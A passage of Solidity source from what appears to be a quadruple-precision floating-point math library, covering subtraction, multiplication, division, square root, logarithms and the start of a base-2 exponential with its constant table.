(xSignifier << shift) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n xExponent -= shift;\\n } else {\\n xSignifier <<= xExponent - 1;\\n xExponent = 0;\\n }\\n } else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (xExponent == 0x7FFF)\\n return\\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else\\n return\\n bytes16(\\n uint128(\\n (\\n xSign\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate x - y. Special values behave in the following way:\\n *\\n * NaN - x = NaN for any x.\\n * Infinity - x = Infinity for any finite x.\\n * -Infinity - x = -Infinity for any finite x.\\n * Infinity - -Infinity = Infinity.\\n * -Infinity - Infinity = -Infinity.\\n * Infinity - Infinity = -Infinity - -Infinity = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function sub(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n return add(x, y ^ 0x80000000000000000000000000000000);\\n }\\n }\\n\\n /**\\n * Calculate x * y. Special values behave in the following way:\\n *\\n * NaN * x = NaN for any x.\\n * Infinity * x = Infinity for any finite positive x.\\n * Infinity * x = -Infinity for any finite negative x.\\n * -Infinity * x = -Infinity for any finite positive x.\\n * -Infinity * x = Infinity for any finite negative x.\\n * Infinity * 0 = NaN.\\n * -Infinity * 0 = NaN.\\n * Infinity * Infinity = Infinity.\\n * Infinity * -Infinity = -Infinity.\\n * -Infinity * Infinity = -Infinity.\\n * -Infinity * -Infinity = Infinity.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function mul(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) {\\n if (x == y)\\n return x ^ (y & 0x80000000000000000000000000000000);\\n else if (x ^ y == 0x80000000000000000000000000000000)\\n return x | y;\\n else return NaN;\\n } else {\\n if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else return x ^ (y & 0x80000000000000000000000000000000);\\n }\\n } else if (yExponent == 0x7FFF) {\\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else return y ^ (x & 0x80000000000000000000000000000000);\\n } else {\\n uint256 xSignifier = uint128(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n uint256 ySignifier = uint128(y) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n xSignifier *= ySignifier;\\n if (xSignifier == 0)\\n return\\n (x ^ y) & 0x80000000000000000000000000000000 > 0\\n ? _NEGATIVE_ZERO\\n : _POSITIVE_ZERO;\\n\\n xExponent += yExponent;\\n\\n uint256 msb = xSignifier >=\\n 0x200000000000000000000000000000000000000000000000000000000\\n ? 225\\n : xSignifier >=\\n 0x100000000000000000000000000000000000000000000000000000000\\n ? 224\\n : mostSignificantBit(xSignifier);\\n\\n if (xExponent + msb < 16496) {\\n // Underflow\\n xExponent = 0;\\n xSignifier = 0;\\n } else if (xExponent + msb < 16608) {\\n // Subnormal\\n if (xExponent < 16496) xSignifier >>= 16496 - xExponent;\\n else if (xExponent > 16496)\\n xSignifier <<= xExponent - 16496;\\n xExponent = 0;\\n } else if (xExponent + msb > 49373) {\\n xExponent = 0x7FFF;\\n xSignifier = 0;\\n } else {\\n if (msb > 112) xSignifier >>= msb - 112;\\n else if (msb < 112) xSignifier <<= 112 - msb;\\n\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n xExponent = xExponent + msb - 16607;\\n }\\n\\n return\\n bytes16(\\n uint128(\\n uint128(\\n (x ^ y) & 0x80000000000000000000000000000000\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n\\n /**\\n * Calculate x / y. Special values behave in the following way:\\n *\\n * NaN / x = NaN for any x.\\n * x / NaN = NaN for any x.\\n * Infinity / x = Infinity for any finite non-negative x.\\n * Infinity / x = -Infinity for any finite negative x including -0.\\n * -Infinity / x = -Infinity for any finite non-negative x.\\n * -Infinity / x = Infinity for any finite negative x including -0.\\n * x / Infinity = 0 for any finite non-negative x.\\n * x / -Infinity = -0 for any finite non-negative x.\\n * x / Infinity = -0 for any finite non-negative x including -0.\\n * x / -Infinity = 0 for any finite non-negative x including -0.\\n *\\n * Infinity / Infinity = NaN.\\n * Infinity / -Infinity = -NaN.\\n * -Infinity / Infinity = -NaN.\\n * -Infinity / -Infinity = NaN.\\n *\\n * Division by zero behaves in the following way:\\n *\\n * x / 0 = Infinity for any finite positive x.\\n * x / -0 = -Infinity for any finite positive x.\\n * x / 0 = -Infinity for any finite negative x.\\n * x / -0 = Infinity for any finite negative x.\\n * 0 / 0 = NaN.\\n * 0 / -0 = NaN.\\n * -0 / 0 = NaN.\\n * -0 / -0 = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function div(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) return NaN;\\n else return x ^ (y & 0x80000000000000000000000000000000);\\n } else if (yExponent == 0x7FFF) {\\n if (y & 0x0000FFFFFFFFFFFFFFFFFFFFFFFFFFFF != 0) return NaN;\\n else\\n return\\n _POSITIVE_ZERO |\\n ((x ^ y) & 0x80000000000000000000000000000000);\\n } else if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) {\\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else\\n return\\n _POSITIVE_INFINITY |\\n ((x ^ y) & 0x80000000000000000000000000000000);\\n } else {\\n uint256 ySignifier = uint128(y) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n uint256 xSignifier = uint128(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) {\\n if (xSignifier != 0) {\\n uint256 shift = 226 - mostSignificantBit(xSignifier);\\n\\n xSignifier <<= shift;\\n\\n xExponent = 1;\\n yExponent += shift - 114;\\n }\\n } else {\\n xSignifier =\\n (xSignifier | 0x10000000000000000000000000000) <<\\n 114;\\n }\\n\\n xSignifier = xSignifier / ySignifier;\\n if (xSignifier == 0)\\n return\\n (x ^ y) & 0x80000000000000000000000000000000 > 0\\n ? _NEGATIVE_ZERO\\n : _POSITIVE_ZERO;\\n\\n assert(xSignifier >= 0x1000000000000000000000000000);\\n\\n uint256 msb = xSignifier >= 0x80000000000000000000000000000\\n ? mostSignificantBit(xSignifier)\\n : xSignifier >= 0x40000000000000000000000000000\\n ? 114\\n : xSignifier >= 0x20000000000000000000000000000\\n ? 113\\n : 112;\\n\\n if (xExponent + msb > yExponent + 16497) {\\n // Overflow\\n xExponent = 0x7FFF;\\n xSignifier = 0;\\n } else if (xExponent + msb + 16380 < yExponent) {\\n // Underflow\\n xExponent = 0;\\n xSignifier = 0;\\n } else if (xExponent + msb + 16268 < yExponent) {\\n // Subnormal\\n if (xExponent + 16380 > yExponent)\\n xSignifier <<= xExponent + 16380 - yExponent;\\n else if (xExponent + 16380 < yExponent)\\n xSignifier >>= yExponent - xExponent - 16380;\\n\\n xExponent = 0;\\n } else {\\n // Normal\\n if (msb > 112) xSignifier >>= msb - 112;\\n\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n xExponent = xExponent + msb + 16269 - yExponent;\\n }\\n\\n return\\n bytes16(\\n uint128(\\n uint128(\\n (x ^ y) & 0x80000000000000000000000000000000\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n\\n /**\\n * Calculate -x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function neg(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n return x ^ 0x80000000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Calculate |x|.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function abs(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n return x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n }\\n }\\n\\n /**\\n * Calculate square root of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function sqrt(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\\n else {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n if (xExponent == 0x7FFF) return x;\\n else {\\n uint256 xSignifier = uint128(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0) return _POSITIVE_ZERO;\\n\\n bool oddExponent = xExponent & 0x1 == 0;\\n xExponent = (xExponent + 16383) >> 1;\\n\\n if (oddExponent) {\\n if (xSignifier >= 0x10000000000000000000000000000)\\n xSignifier <<= 113;\\n else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n uint256 shift = (226 - msb) & 0xFE;\\n xSignifier <<= shift;\\n xExponent -= (shift - 112) >> 1;\\n }\\n } else {\\n if (xSignifier >= 0x10000000000000000000000000000)\\n xSignifier <<= 112;\\n else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n uint256 shift = (225 - msb) & 0xFE;\\n xSignifier <<= shift;\\n xExponent -= (shift - 112) >> 1;\\n }\\n }\\n\\n uint256 r = 0x10000000000000000000000000000;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1; // Seven iterations should be enough\\n uint256 r1 = xSignifier / r;\\n if (r1 < r) r = r1;\\n\\n return\\n bytes16(\\n uint128(\\n (xExponent << 112) |\\n (r & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\\n )\\n );\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate binary logarithm of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function log_2(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\\n else if (x == 0x3FFF0000000000000000000000000000)\\n return _POSITIVE_ZERO;\\n else {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n if (xExponent == 0x7FFF) return x;\\n else {\\n uint256 xSignifier = uint128(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0) return _NEGATIVE_INFINITY;\\n\\n bool resultNegative;\\n uint256 resultExponent = 16495;\\n uint256 resultSignifier;\\n\\n if (xExponent >= 0x3FFF) {\\n resultNegative = false;\\n resultSignifier = xExponent - 0x3FFF;\\n xSignifier <<= 15;\\n } else {\\n resultNegative = true;\\n if (xSignifier >= 0x10000000000000000000000000000) {\\n resultSignifier = 0x3FFE - xExponent;\\n xSignifier <<= 15;\\n } else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n resultSignifier = 16493 - msb;\\n xSignifier <<= 127 - msb;\\n }\\n }\\n\\n if (xSignifier == 0x80000000000000000000000000000000) {\\n if (resultNegative) resultSignifier += 1;\\n uint256 shift = 112 -\\n mostSignificantBit(resultSignifier);\\n resultSignifier <<= shift;\\n resultExponent -= shift;\\n } else {\\n uint256 bb = resultNegative ? 1 : 0;\\n while (\\n resultSignifier < 0x10000000000000000000000000000\\n ) {\\n resultSignifier <<= 1;\\n resultExponent -= 1;\\n\\n xSignifier *= xSignifier;\\n uint256 b = xSignifier >> 255;\\n resultSignifier += b ^ bb;\\n xSignifier >>= 127 + b;\\n }\\n }\\n\\n return\\n bytes16(\\n uint128(\\n (\\n resultNegative\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (resultExponent << 112) |\\n (resultSignifier &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\\n )\\n );\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate natural logarithm of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function ln(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n return mul(log_2(x), 0x3FFE62E42FEFA39EF35793C7673007E5);\\n }\\n }\\n\\n /**\\n * Calculate 2^x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function pow_2(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n bool xNegative = uint128(x) > 0x80000000000000000000000000000000;\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 xSignifier = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (xExponent == 0x7FFF && xSignifier != 0) return NaN;\\n else if (xExponent > 16397)\\n return xNegative ? _POSITIVE_ZERO : _POSITIVE_INFINITY;\\n else if (xExponent < 16255)\\n return 0x3FFF0000000000000000000000000000;\\n else {\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xExponent > 16367) xSignifier <<= xExponent - 16367;\\n else if (xExponent < 16367) xSignifier >>= 16367 - xExponent;\\n\\n if (\\n xNegative &&\\n xSignifier > 0x406E00000000000000000000000000000000\\n ) return _POSITIVE_ZERO;\\n\\n if (\\n !xNegative &&\\n xSignifier > 0x3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n ) return _POSITIVE_INFINITY;\\n\\n uint256 resultExponent = xSignifier >> 128;\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xNegative && xSignifier != 0) {\\n xSignifier = ~xSignifier;\\n resultExponent += 1;\\n }\\n\\n uint256 resultSignifier = 0x80000000000000000000000000000000;\\n if (xSignifier & 0x80000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x16A09E667F3BCC908B2FB1366EA957D3E) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1306FE0A31B7152DE8D5A46305C85EDEC) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1172B83C7D517ADCDF7C8C50EB14A791F) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10B5586CF9890F6298B92B71842A98363) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1059B0D31585743AE7C548EB68CA417FD) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x102C9A3E778060EE6F7CACA4F7A29BDE8) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10163DA9FB33356D84A66AE336DCDFA3F) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100B1AFA5ABCBED6129AB13EC11DC9543) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10058C86DA1C09EA1FF19D294CF2F679B) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1002C605E2E8CEC506D21BFC89A23A00F) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100162F3904051FA128BCA9C55C31E5DF) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000B175EFFDC76BA38E31671CA939725) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100058BA01FB9F96D6CACD4B180917C3D) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10002C5CC37DA9491D0985C348C68E7B3) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000162E525EE054754457D5995292026) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000B17255775C040618BF4A4ADE83FC) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000058B91B5BC9AE2EED81E9B7D4CFAB) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100002C5C89D5EC6CA4D7C8ACC017B7C9) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000162E43F4F831060E02D839A9D16D) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000B1721BCFC99D9F890EA06911763) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000058B90CF1E6D97F9CA14DBCC1628) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000002C5C863B73F016468F6BAC5CA2B) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000162E430E5A18F6119E3C02282A5) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000B1721835514B86E6D96EFD1BFE) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000058B90C0B48C6BE5DF846C5B2EF) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000002C5C8601CC6B9E94213C72737A) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000162E42FFF037DF38AA2B219F06) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000B17217FBA9C739AA5819F44F9) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000058B90BFCDEE5ACD3C1CEDC823) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000002C5C85FE31F35A6A30DA1BE50) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000162E42FF0999CE3541B9FFFCF) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000B17217F80F4EF5AADDA45554) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000058B90BFBF8479BD5A81B51AD) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000002C5C85FDF84BD62AE30A74CC) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000162E42FEFB2FED257559BDAA) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000B17217F7D5A7716BBA4A9AE) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000058B90BFBE9DDBAC5E109CCE) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000002C5C85FDF4B15DE6F17EB0D) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000162E42FEFA494F1478FDE05) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000B17217F7D20CF927C8E94C) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000058B90BFBE8F71CB4E4B33D) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000002C5C85FDF477B662B26945) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000162E42FEFA3AE53369388C) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000B17217F7D1D351A389D40) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000058B90BFBE8E8B2D3D4EDE) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000002C5C85FDF4741BEA6E77E) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000162E42FEFA39FE95583C2) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000B17217F7D1CFB72B45E1) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000058B90BFBE8E7CC35C3F0) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000002C5C85FDF473E242EA38) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000162E42FEFA39F02B772C) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000B17217F7D1CF7D83C1A) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000058B90BFBE8E7BDCBE2E) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000002C5C85FDF473DEA871F) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000162E42FEFA39EF44D91) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000B17217F7D1CF79E949) >>\\n 128;\\n if (xSignifier & 0x800000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000058B90BFBE8E7BCE544) >>\\n 128;\\n if (xSignifier & 0x400000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000002C5C85FDF473DE6ECA) >>\\n 128;\\n if (xSignifier & 0x200000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000162E42FEFA39EF366F) >>\\n 128;\\n if (xSignifier & 0x100000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000B17217F7D1CF79AFA) >>\\n 128;\\n if (xSignifier & 0x80000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000058B90BFBE8E7BCD6D) >>\\n 128;\\n if (xSignifier & 0x40000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000002C5C85FDF473DE6B2) >>\\n 128;\\n if (xSignifier & 0x20000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000162E42FEFA39EF358) >>\\n 128;\\n if (xSignifier & 0x10000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000B17217F7D1CF79AB) >>\\n 128;\\n if (xSignifier & 0x8000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000058B90BFBE8E7BCD5) >>\\n 128;\\n if (xSignifier & 0x4000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000002C5C85FDF473DE6A) >>\\n 128;\\n if (xSignifier & 0x2000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000162E42FEFA39EF34) >>\\n 128;\\n if (xSignifier & 0x1000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000B17217F7D1CF799) >>\\n 128;\\n if (xSignifier & 0x800000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000058B90BFBE8E7BCC) >>\\n 128;\\n if (xSignifier & 0x400000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000002C5C85FDF473DE5) >>\\n 128;\\n if (xSignifier & 0x200000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000162E42FEFA39EF2) >>\\n 128;\\n if (xSignifier & 0x100000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000B17217F7D1CF78) >>\\n 128;\\n if (xSignifier & 0x80000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000058B90BFBE8E7BB) >>\\n 128;\\n if (xSignifier & 0x40000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000002C5C85FDF473DD) >>\\n 128;\\n if (xSignifier & 0x20000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000162E42FEFA39EE) >>\\n 128;\\n if (xSignifier & 0x10000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000B17217F7D1CF6) >>\\n 128;\\n if (xSignifier & 0x8000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000058B90BFBE8E7A) >>\\n 128;\\n if (xSignifier & 0x4000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000002C5C85FDF473C) >>\\n 128;\\n if (xSignifier & 0x2000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000162E42FEFA39D) >>\\n 128;\\n if (xSignifier & 0x1000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000B17217F7D1CE) >>\\n 128;\\n if (xSignifier & 0x800000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000058B90BFBE8E6) >>\\n 128;\\n if (xSignifier & 0x400000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000002C5C85FDF472) >>\\n 128;\\n if (xSignifier & 0x200000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000162E42FEFA38) >>\\n 128;\\n if (xSignifier & 0x100000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000B17217F7D1B) >>\\n 128;\\n if (xSignifier & 0x80000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000058B90BFBE8D) >>\\n 128;\\n if (xSignifier & 0x40000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000002C5C85FDF46) >>\\n 128;\\n if (xSignifier & 0x20000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000162E42FEFA2) >>\\n 128;\\n if (xSignifier & 0x10000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000B17217F7D0) >>\\n 128;\\n if (xSignifier & 0x8000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000058B90BFBE7) >>\\n 128;\\n if (xSignifier & 0x4000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000002C5C85FDF3) >>\\n 128;\\n if (xSignifier & 0x2000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 